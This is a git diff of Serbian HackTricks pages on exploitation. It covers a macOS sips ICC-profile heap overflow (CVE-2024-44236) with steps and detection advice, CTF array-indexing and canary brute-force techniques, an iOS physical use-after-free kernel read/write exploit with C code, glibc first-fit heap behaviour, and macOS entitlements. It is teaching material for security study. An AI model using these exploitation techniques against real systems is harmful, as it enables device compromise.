Ranljivost vanrednog pisanja u Apple macOS Scriptable Image Processing System (`sips`) parseru ICC profila (macOS 15.0.1, sips-307) zbog nepravilne validacije polja `offsetToCLUT` u `lutAToBType` (`mAB `) i `lutBToAType` (`mBA `) oznakama. Prilagođena ICC datoteka može izazvati nulti pisanja do 16 bajtova izvan bafera na hrpi, korumpirajući metapodatke hrpe ili pokazivače funkcija i omogućavajući izvršavanje proizvoljnog koda (CVE-2024-44236).
|
||||
|
||||
## Ranljivi kod
|
||||
|
||||
Ranljiva funkcija čita i postavlja na nulu 16 bajtova počevši od ofseta koji kontroliše napadač, bez osiguranja da se nalazi unutar alociranog bafera:
|
||||
```c
|
||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
||||
buffer[i] = 0;
|
||||
}
|
||||
```
|
||||
Samo se proverava `offsetToCLUT <= totalDataLength`. Postavljanjem `offsetToCLUT == tagDataSize`, petlja indeksira do 16 bajtova nakon kraja `buffer`, korumpirajući susedne heap metapodatke.
|
||||
|
||||
## Koraci za eksploataciju
|
||||
|
||||
1. **Kreirajte zloćudni `.icc` profil:**
|
||||
- Izgradite ICC header (128 bajtova) sa potpisom `acsp` i jednim `lutAToBType` ili `lutBToAType` tag unosa.
|
||||
- U tabeli tagova, postavite `offsetToCLUT` jednak `size` tag-a (`tagDataSize`).
|
||||
- Postavite podatke pod kontrolom napadača odmah nakon bloka podataka tag-a kako biste prepisali heap metapodatke.
|
||||
2. **Pokrenite parsiranje:**
|
||||
|
||||
```bash
|
||||
sips --verifyColor malicious.icc
|
||||
```
|
||||
|
||||
3. **Korupcija heap metapodataka:** OOB nulti-pisanja prepisuju metapodatke alokatora ili susedne pokazivače, omogućavajući napadaču da preuzme kontrolu nad tokom izvršavanja i postigne proizvoljno izvršavanje koda u kontekstu `sips` procesa.
|
||||
|
||||
## Uticaj
|
||||
|
||||
Uspešna eksploatacija rezultira daljinskim proizvoljnim izvršavanjem koda sa privilegijama korisnika na macOS sistemima koji pokreću ranjivu `sips` alatku.
|
||||
|
||||
## Detekcija
|
||||
|
||||
- Pratite prenose datoteka na uobičajenim protokolima (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
||||
- Istražite prenesene datoteke sa potpisom `acsp`.
|
||||
- Za svaki `mAB ` ili `mBA ` tag, proverite da li polje `Offset to CLUT` jednako `Tag data size`.
|
||||
- Obeležite kao sumnjivo ako je ovaj uslov ispunjen.
|
||||
|
||||
## Reference
|
||||
|
||||
- ZDI blog: CVE-2024-44236: Ranljivost za daljinsko izvršavanje koda u Apple macOS sips alatki
|
||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
||||
- Apple oktobar 2024. Bezbednosno ažuriranje (zakrpa koja ispravlja CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
@ -1,18 +1,20 @@
|
||||
# Indeksiranje Niza
|
||||
# Array Indexing
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne Informacije
|
||||
## Basic Information
|
||||
|
||||
Ova kategorija obuhvata sve ranjivosti koje se javljaju zbog mogućnosti prepisivanja određenih podataka kroz greške u rukovanju indeksima u nizovima. To je veoma široka kategorija bez specifične metodologije, jer mehanizam eksploatacije potpuno zavisi od uslova ranjivosti.
|
||||
Ova kategorija uključuje sve ranjivosti koje se javljaju jer je moguće prepisati određene podatke zbog grešaka u rukovanju indeksima u nizovima. To je veoma široka kategorija bez specifične metodologije, jer mehanizam eksploatacije potpuno zavisi od uslova ranjivosti.
|
||||
|
||||
Međutim, ovde možete pronaći neke lepe **primere**:
|
||||
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- Postoje **2 kolidirajuća niza**, jedan za **adrese** gde su podaci sačuvani i jedan sa **veličinama** tih podataka. Moguće je prepisati jedan iz drugog, omogućavajući pisanje proizvoljne adrese označavajući je kao veličinu. Ovo omogućava pisanje adrese `free` funkcije u GOT tabeli, a zatim je prepisivanje adresom `system`, i pozivanje free iz memorije sa `/bin/sh`.
|
||||
- Postoje **2 kolidirajuća niza**, jedan za **adrese** gde su podaci pohranjeni i jedan sa **veličinama** tih podataka. Moguće je prepisati jedan iz drugog, omogućavajući pisanje proizvoljne adrese označavajući je kao veličinu. To omogućava pisanje adrese funkcije `free` u GOT tabeli, a zatim je prepisivanje adresom do `system`, i pozivanje free iz memorije sa `/bin/sh`.
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64 bita, bez nx. Prepisivanje veličine da bi se dobio neki oblik buffer overflow-a gde će sve biti korišćeno kao dupli broj i sortirano od najmanjeg do najvećeg, tako da je potrebno kreirati shellcode koji ispunjava taj zahtev, uzimajući u obzir da se kanar ne sme pomerati sa svoje pozicije i konačno prepisivanje RIP-a sa adresom za ret, koja ispunjava prethodne zahteve i postavljanje najveće adrese na novu adresu koja pokazuje na početak steka (procurila od programa) tako da je moguće koristiti ret da se skoči tamo.
|
||||
- 64 bita, bez nx. Prepišite veličinu da biste dobili neku vrstu prelivanja bafera gde će sve biti korišćeno kao dvostruki broj i sortirano od najmanjeg do najvećeg, tako da je potrebno kreirati shellcode koji ispunjava taj zahtev, uzimajući u obzir da se kanar ne bi trebao pomerati sa svoje pozicije i konačno prepisivanje RIP-a sa adresom do ret, koja ispunjava prethodne zahteve i postavljanje najveće adrese na novu adresu koja pokazuje na početak steka (procurila od programa) tako da je moguće koristiti ret da se skoči tamo.
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64 bita, bez relro, kanar, nx, bez pie. Postoji off-by-one u nizu na steku koji omogućava kontrolu pokazivača dodeljujući WWW (upisuje sumu svih brojeva niza u prepisanu adresu zbog off-by-one u nizu). Stek je kontrolisan tako da je GOT `exit` adresa prepisana sa `pop rdi; ret`, a na stek je dodata adresa za `main` (ponovno se vraća na `main`). Koristi se ROP lanac za procurivanje adrese stavljene u GOT koristeći puts (`exit` će biti pozvan tako da će pozvati `pop rdi; ret`, stoga izvršavajući ovaj lanac na steku). Na kraju se koristi novi ROP lanac koji izvršava ret2lib.
|
||||
- 64 bita, bez relro, kanar, nx, bez pie. Postoji off-by-one u nizu na steku koji omogućava kontrolu pokazivača dodeljujući WWW (upisuje sumu svih brojeva niza u prepisanu adresu zbog off-by-one u nizu). Stek je kontrolisan tako da je GOT `exit` adresa prepisana sa `pop rdi; ret`, a na stek se dodaje adresa do `main` (ponovo se vraća na `main`). Koristi se ROP lanac za procurivanje adrese stavljene u GOT koristeći puts (`exit` će biti pozvan tako da će pozvati `pop rdi; ret`, stoga izvršavajući ovaj lanac na steku). Na kraju se koristi novi ROP lanac koji izvršava ret2lib.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 bita, bez relro, bez kanara, nx, pie. Iskoristite loše indeksiranje da procurite adrese libc i heap-a iz steka. Iskoristite buffer overflow da uradite ret2lib pozivajući `system('/bin/sh')` (adresa heap-a je potrebna da bi se zaobišla provera).
|
||||
- 32 bita, bez relro, bez kanara, nx, pie. Iskoristite loše indeksiranje da biste procurili adrese libc i heap iz steka. Iskoristite prelivanje bafera da uradite ret2lib pozivajući `system('/bin/sh')` (adresa heap-a je potrebna da bi se zaobišla provera).
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Imajte na umu da **`checksec`** možda neće otkriti da je binarni fajl zaštićen kanarom ako je statički kompajliran i nije u stanju da identifikuje funkciju.\
|
||||
> Međutim, možete to ručno primetiti ako otkrijete da je vrednost sačuvana na steku na početku poziva funkcije i da se ova vrednost proverava pre izlaska.
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
|
||||
Najbolji način da se zaobiđe jednostavna kanara je ako je binarni fajl program **koji fork-uje dečije procese svaki put kada uspostavite novu vezu** s njim (mrežna usluga), jer svaki put kada se povežete s njim **biće korišćen isti kanar**.
|
||||
|
||||
Tada je najbolji način da se zaobiđe kanar jednostavno **brute-force-ovati ga karakter po karakter**, i možete da utvrdite da li je pogodjena bajt kanara bila tačna proverom da li je program pao ili nastavlja svoj redovni tok. U ovom primeru funkcija **brute-force-uje 8 bajtni kanar (x64)** i razlikuje između tačno pogodjenog bajta i lošeg bajta samo **proveravajući** da li je **odgovor** poslat nazad od strane servera (drugi način u **drugoj situaciji** mogao bi biti korišćenje **try/except**):
|
||||
Tada je najbolji način da se zaobiđe kanar jednostavno **brute-force-ovati ga karakter po karakter**, i možete da utvrdite da li je pogodjena bajt kanara bila tačna proverom da li je program pao ili nastavlja svoj redovni tok. U ovom primeru funkcija **brute-force-uje 8 Bytes kanar (x64)** i razlikuje između tačno pogodjenog bajta i lošeg bajta samo **proveravajući** da li je **odgovor** poslat nazad od strane servera (drugi način u **drugoj situaciji** mogao bi biti korišćenje **try/except**):
|
||||
|
||||
### Primer 1
|
||||
|
||||
@ -103,15 +103,20 @@ log.info(f"The canary is: {canary}")
|
||||
```
|
||||
## Threads
|
||||
|
||||
Threads istog procesa će takođe **deliti isti canary token**, stoga će biti moguće **brute-forc**ovati canary ako binarni fajl pokreće novu nit svaki put kada se dogodi napad.
|
||||
Threads istog procesa će takođe **deliti isti canary token**, stoga će biti moguće **brute-forc**e-ovati canary ako binarni program pokreće novu nit svaki put kada se napad dogodi.
|
||||
|
||||
Štaviše, **overflow bafera u funkciji sa nitima** zaštićenoj canary-jem mogao bi se koristiti za **modifikaciju glavnog canary-ja koji je sačuvan u TLS-u**. To je zato što bi moglo biti moguće doći do memorijske pozicije gde je TLS sačuvan (i stoga, canary) putem **bof-a u steku** niti.\
|
||||
Štaviše, **buffer overflow u funkciji sa nitima** zaštićenoj canary-jem mogao bi se koristiti za **modifikaciju glavnog canary-ja koji je sačuvan u TLS**. To je zato što bi moglo biti moguće doći do memorijske pozicije gde je TLS sačuvan (i stoga, canary) putem **bof-a u steku** niti.\
|
||||
Kao rezultat, mitigacija je beskorisna jer se provera koristi sa dva canary-ja koja su ista (iako modifikovana).\
|
||||
Ovaj napad je prikazan u pisanju: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
Ovaj napad je prikazan u izveštaju: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Pogledajte takođe prezentaciju [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) koja pominje da se obično **TLS** čuva putem **`mmap`** i kada se **stack** **niti** kreira, takođe se generiše putem `mmap`, što može omogućiti overflow kao što je prikazano u prethodnom pisanju.
|
||||
Pogledajte takođe prezentaciju [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) koja pominje da se obično **TLS** čuva putem **`mmap`** i kada se kreira **stack** **niti** takođe se generiše putem `mmap`, što može omogućiti overflow kao što je prikazano u prethodnom izveštaju.
|
||||
|
||||
## Other examples & references
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 bita, bez PIE, nx, BF canary, upisati u neku memoriju ROP da pozove `execve` i skoči tamo.
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Fizičko korišćenje nakon oslobađanja
|
||||
|
||||
Ovo je sažetak iz posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), a dodatne informacije o eksploataciji koristeći ovu tehniku mogu se naći na [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
Ovo je sažetak iz posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), a dodatne informacije o eksploatu korišćenjem ove tehnike mogu se naći na [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Upravljanje memorijom u XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
**Virtuelni adresni prostor** za korisničke procese na iOS-u se proteže od **0x0 do 0x8000000000**. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, **kernel** koristi **tabele stranica** da prevede virtuelne adrese u stvarne **fizičke adrese**.
|
||||
**Virtuelni adresni prostor** za korisničke procese na iOS-u se proteže od **0x0 do 0x8000000000**. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, **kernel** koristi **tabele stranica** za prevođenje virtuelnih adresa u stvarne **fizičke adrese**.
|
||||
|
||||
#### Nivoi tabela stranica u iOS-u
|
||||
|
||||
@ -36,9 +36,9 @@ Tabele stranica su organizovane hijerarhijski u tri nivoa:
|
||||
Recimo da pokušavate da pristupite virtuelnoj adresi **0x1000000000**:
|
||||
|
||||
1. **L1 tabela**:
|
||||
* Kernel proverava unos u L1 tabeli stranica koji odgovara ovoj virtuelnoj adresi. Ako ima **pokazivač na L2 tabelu stranica**, ide na tu L2 tabelu.
|
||||
* Kernel proverava unos u L1 tabeli stranica koji odgovara ovoj virtuelnoj adresi. Ako ima **pokazivač na L2 tabelu stranica**, odlazi na tu L2 tabelu.
|
||||
2. **L2 tabela**:
|
||||
* Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na **L3 tabelu stranica**, nastavlja tamo.
|
||||
* Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na **L3 tabelu stranica**, nastavlja dalje.
|
||||
3. **L3 tabela**:
|
||||
* Kernel traži konačni L3 unos, koji ukazuje na **fizičku adresu** stvarne stranice memorije.
|
||||
|
||||
@ -68,12 +68,12 @@ To znači da proces može pristupiti **stranicama kernel memorije**, koje mogu s
|
||||
|
||||
### Strategija eksploatacije: Heap Spray
|
||||
|
||||
Pošto napadač ne može kontrolisati koje specifične kernel stranice će biti alocirane na oslobođenoj memoriji, koriste tehniku nazvanu **heap spray**:
|
||||
Pošto napadač ne može kontrolisati koje specifične kernel stranice će biti alocirane za oslobođenu memoriju, koriste tehniku nazvanu **heap spray**:
|
||||
|
||||
1. Napadač **stvara veliki broj IOSurface objekata** u kernel memoriji.
|
||||
2. Svaki IOSurface objekat sadrži **magičnu vrednost** u jednom od svojih polja, što olakšava identifikaciju.
|
||||
3. Oni **skeniraju oslobođene stranice** da vide da li je neki od ovih IOSurface objekata završio na oslobođenoj stranici.
|
||||
4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti da **čitaju i pišu kernel memoriju**.
|
||||
4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti za **čitati i pisati kernel memoriju**.
|
||||
|
||||
Više informacija o ovome u [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
@ -106,7 +106,7 @@ io_connect_t id = result.surface_id;
|
||||
}
|
||||
}
|
||||
```
|
||||
Pretražite **`IOSurface`** objekte u jednoj oslobođenoj fizičkoj stranici:
|
||||
Pretražite **`IOSurface`** objekte na jednoj oslobođenoj fizičkoj stranici:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
@ -153,7 +153,7 @@ IOSurface objekat ima dva ključna polja:
|
||||
|
||||
Prepisivanjem ovih pokazivača, preusmeravamo ih na arbitrarne adrese u kernel memoriji, omogućavajući read/write mogućnosti.
|
||||
|
||||
#### 32-Bitno Kernel Čitanje
|
||||
#### 32-Bitni Kernel Read
|
||||
|
||||
Da bismo izvršili čitanje:
|
||||
|
||||
@ -197,12 +197,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
```
|
||||
#### Pregled Eksploatacije
|
||||
|
||||
1. **Pokreni Fizičku Upotrebu-Nakon-Oslobađanja**: Oslobođene stranice su dostupne za ponovnu upotrebu.
|
||||
1. **Pokreni Fizičko Korišćenje-Nakon-Slobode**: Slobodne stranice su dostupne za ponovnu upotrebu.
|
||||
2. **Sprej IOSurface Objekata**: Alociraj mnogo IOSurface objekata sa jedinstvenom "čarobnom vrednošću" u kernel memoriji.
|
||||
3. **Identifikuj Pristupačni IOSurface**: Pronađi IOSurface na oslobođenoj stranici koju kontrolišeš.
|
||||
4. **Zloupotrebi Upotrebu-Nakon-Oslobađanja**: Izmeni pokazivače u IOSurface objektu da omogućiš proizvoljno **čitanje/pisanje u kernel** putem IOSurface metoda.
|
||||
4. **Zloupotrebi Korišćenje-Nakon-Slobode**: Izmeni pokazivače u IOSurface objektu da omogućiš proizvoljno **čitanje/pisanje u kernel** putem IOSurface metoda.
|
||||
|
||||
Sa ovim primitivima, eksploatacija omogućava kontrolisano **32-bitno čitanje** i **64-bitno pisanje** u kernel memoriju. Dalji koraci za jailbreak mogu uključivati stabilnije primitivne operacije čitanja/pisanja, što može zahtevati zaobilaženje dodatnih zaštita (npr., PPL na novijim arm64e uređajima).
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -4,18 +4,18 @@
|
||||
|
||||
## **First Fit**
|
||||
|
||||
Kada oslobodite memoriju u programu koristeći glibc, različiti "bineri" se koriste za upravljanje delovima memorije. Evo pojednostavljenog objašnjenja dva uobičajena scenarija: neusortirani bineri i brzi bineri.
|
||||
Kada oslobodite memoriju u programu koristeći glibc, različiti "bins" se koriste za upravljanje delovima memorije. Evo pojednostavljenog objašnjenja dva uobičajena scenarija: nesortirani bins i fastbins.
|
||||
|
||||
### Neusortirani Bineri
|
||||
### Nesortirani Bins
|
||||
|
||||
Kada oslobodite deo memorije koji nije brzi deo, on ide u neusortirani bin. Ovaj bin deluje kao lista gde se novi oslobođeni delovi dodaju na početak (glavu). Kada zatražite novi deo memorije, alokator gleda neusortirani bin od pozadi (rep) da pronađe deo koji je dovoljno velik. Ako je deo iz neusortiranog bina veći od onoga što vam treba, on se deli, pri čemu se prednji deo vraća, a preostali deo ostaje u binu.
|
||||
Kada oslobodite deo memorije koji nije fast chunk, on ide u nesortirani bin. Ovaj bin deluje kao lista gde se novi oslobođeni delovi dodaju na početak (na "head"). Kada zatražite novi deo memorije, alokator gleda nesortirani bin od pozadi (na "tail") da pronađe deo koji je dovoljno velik. Ako je deo iz nesortiranog bina veći od onoga što vam treba, on se deli, pri čemu se prednji deo vraća, a preostali deo ostaje u binu.
|
||||
|
||||
Primer:
|
||||
|
||||
- Alocirate 300 bajtova (`a`), zatim 250 bajtova (`b`), oslobodite `a` i ponovo zatražite 250 bajtova (`c`).
|
||||
- Kada oslobodite `a`, on ide u neusortirani bin.
|
||||
- Ako zatim ponovo zatražite 250 bajtova, alokator pronalazi `a` na repu i deli ga, vraćajući deo koji odgovara vašem zahtevu i zadržavajući ostatak u binu.
|
||||
- `c` će pokazivati na prethodni `a` i biti ispunjen sa `a's`.
|
||||
- Kada oslobodite `a`, on ide u nesortirani bin.
|
||||
- Ako zatim ponovo zatražite 250 bajtova, alokator pronalazi `a` na tail-u i deli ga, vraćajući deo koji odgovara vašem zahtevu i zadržavajući ostatak u binu.
|
||||
- `c` će pokazivati na prethodni `a` i biti popunjen sa `a's`.
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
char *b = malloc(250);
|
||||
@ -30,7 +30,7 @@ Primer:
|
||||
|
||||
- Alocirate četiri dela od po 20 bajtova (`a`, `b`, `c`, `d`).
|
||||
- Kada ih oslobodite u bilo kom redosledu, oslobođeni delovi se dodaju na vrh fastbina.
|
||||
- Ako zatim zatražite deo od 20 bajtova, alokator će vratiti najnovije oslobođeni deo iz vrha fastbina.
|
||||
- Ako zatim zatražite deo od 20 bajtova, alokator će vratiti najrecentnije oslobođeni deo iz vrha fastbina.
|
||||
```c
|
||||
char *a = malloc(20);
|
||||
char *b = malloc(20);
|
||||
@ -45,7 +45,7 @@ b = malloc(20); // c
|
||||
c = malloc(20); // b
|
||||
d = malloc(20); // a
|
||||
```
|
||||
## Ostale reference i primeri
|
||||
## Ostale Reference & Primeri
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
@ -55,6 +55,8 @@ d = malloc(20); // a
|
||||
- Napad bi bio da se kreiraju 2 beleške (note0 i note1) sa većim malloc sadržajem nego što je veličina informacija o belešci, a zatim ih osloboditi kako bi ušle u brzi bin (ili tcache).
|
||||
- Zatim, kreirajte još jednu belešku (note2) sa veličinom sadržaja 8. Sadržaj će biti u note1 jer će se deo ponovo koristiti, gde bismo mogli da modifikujemo pokazivač funkcije da pokazuje na win funkciju i zatim Use-After-Free note1 da pozovemo novi pokazivač funkcije.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- Moguće je alocirati neku memoriju, napisati željenu vrednost, osloboditi je, ponovo alocirati i pošto su prethodni podaci još uvek prisutni, biće tretirani prema novoj očekivanoj strukturi u delu, što omogućava postavljanje vrednosti za dobijanje zastavice.
|
||||
- Moguće je alocirati neku memoriju, napisati željenu vrednost, osloboditi je, ponovo alocirati i pošto su prethodni podaci još uvek tu, biće tretirani prema novoj očekivanoj strukturi u delu, što omogućava postavljanje vrednosti da se dobije zastavica.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- U ovom slučaju potrebno je napisati 4 unutar specifičnog dela koji je prvi koji se alocira (čak i nakon prisilnog oslobađanja svih njih). Na svakom novom alociranom delu, njegov broj u indeksu niza se čuva. Zatim, alocirajte 4 dela (+ inicijalno alocirani), poslednji će imati 4 unutar njega, oslobodite ih i prisilite ponovnu alokaciju prvog, koji će koristiti poslednji oslobođeni deo koji je onaj sa 4 unutar njega.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da entitlements koji počinju sa **`com.apple`** nisu dostupni trećim stranama, samo Apple može da ih dodeli.
|
||||
> Imajte na umu da entitlements koji počinju sa **`com.apple`** nisu dostupni trećim stranama, samo Apple ih može dodeliti.
|
||||
|
||||
## High
|
||||
|
||||
@ -17,28 +17,28 @@ Entitlement **`com.apple.rootless.install`** omogućava **obiđite SIP**. Prover
|
||||
|
||||
### **`com.apple.system-task-ports` (ranije nazvan `task_for_pid-allow`)**
|
||||
|
||||
Ovaj entitlement omogućava dobijanje **task porta za bilo koji** proces, osim za kernel. Proverite [**ovo za više informacija**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
Ovaj entitlement omogućava dobijanje **task porta za bilo koji** proces, osim jezgra. Proverite [**ovo za više informacija**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
Ovaj entitlement omogućava drugim procesima sa **`com.apple.security.cs.debugger`** entitlementom da dobiju task port procesa koji pokreće binarni fajl sa ovim entitlementom i **ubace kod u njega**. Proverite [**ovo za više informacija**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
Ovaj entitlement omogućava drugim procesima sa **`com.apple.security.cs.debugger`** entitlement da dobiju task port procesa koji pokreće binarni fajl sa ovim entitlementom i **ubace kod u njega**. Proverite [**ovo za više informacija**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
Aplikacije sa Entitlementom za Alate za Debagovanje mogu pozvati `task_for_pid()` da dobiju važeći task port za nesignirane i treće strane aplikacije sa `Get Task Allow` entitlementom postavljenim na `true`. Međutim, čak i sa entitlementom za alat za debagovanje, debager **ne može dobiti task portove** procesa koji **nemaju `Get Task Allow` entitlement**, i koji su stoga zaštićeni Sistemskom Integritetom. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
Aplikacije sa Entitlement za Debugging Tool mogu pozvati `task_for_pid()` da dobiju važeći task port za nesignirane i treće strane aplikacije sa `Get Task Allow` entitlement postavljenim na `true`. Međutim, čak i sa entitlementom za debugging tool, debager **ne može dobiti task portove** procesa koji **nemaju `Get Task Allow` entitlement**, i koji su stoga zaštićeni od System Integrity Protection. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Ovaj entitlement omogućava **učitavanje frameworka, plug-inova ili biblioteka bez da budu potpisani od strane Apple-a ili potpisani sa istim Team ID** kao glavni izvršni fajl, tako da bi napadač mogao da zloupotrebi učitavanje neke proizvoljne biblioteke da ubaci kod. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
Ovaj entitlement omogućava **učitavanje frameworka, plug-inova ili biblioteka bez da budu potpisani od strane Apple-a ili potpisani sa istim Team ID** kao glavni izvršni fajl, tako da napadač može zloupotrebiti učitavanje neke proizvoljne biblioteke da ubaci kod. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
Ovaj entitlement je vrlo sličan **`com.apple.security.cs.disable-library-validation`** ali **umesto** da **direktno onemogući** validaciju biblioteka, omogućava procesu da **pozove `csops` sistemski poziv da ga onemogući**.\
|
||||
Ovaj entitlement je vrlo sličan **`com.apple.security.cs.disable-library-validation`** ali **umesto** da **direktno onemogući** validaciju biblioteka, omogućava procesu da **pozove `csops` sistemski poziv da je onemogući**.\
|
||||
Proverite [**ovo za više informacija**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
Ovaj entitlement omogućava **korišćenje DYLD promenljivih okruženja** koje bi mogle biti korišćene za ubacivanje biblioteka i koda. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
|
||||
Ovaj entitlement omogućava **korišćenje DYLD promenljivih okruženja** koje se mogu koristiti za ubacivanje biblioteka i koda. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
|
||||
|
||||
### `com.apple.private.tcc.manager` ili `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
@ -50,7 +50,7 @@ Ovi entitlements omogućavaju **instalaciju softvera bez traženja dozvola** od
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
Entitlement potreban za traženje od **kernela da učita kernel ekstenziju**.
|
||||
Entitlement potreban za traženje od **jezgra da učita kernel ekstenziju**.
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
@ -66,11 +66,11 @@ TODO: Ne znam šta ovo omogućava
|
||||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno za** ažuriranje SSV-zaštićenog sadržaja nakon ponovnog pokretanja. Ako znate kako, pošaljite PR, molim vas!
|
||||
TODO: U [**ovoj izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno za** ažuriranje SSV-zaštićenog sadržaja nakon ponovnog pokretanja. Ako znate kako, pošaljite PR, molim vas!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno za** ažuriranje SSV-zaštićenog sadržaja nakon ponovnog pokretanja. Ako znate kako, pošaljite PR, molim vas!
|
||||
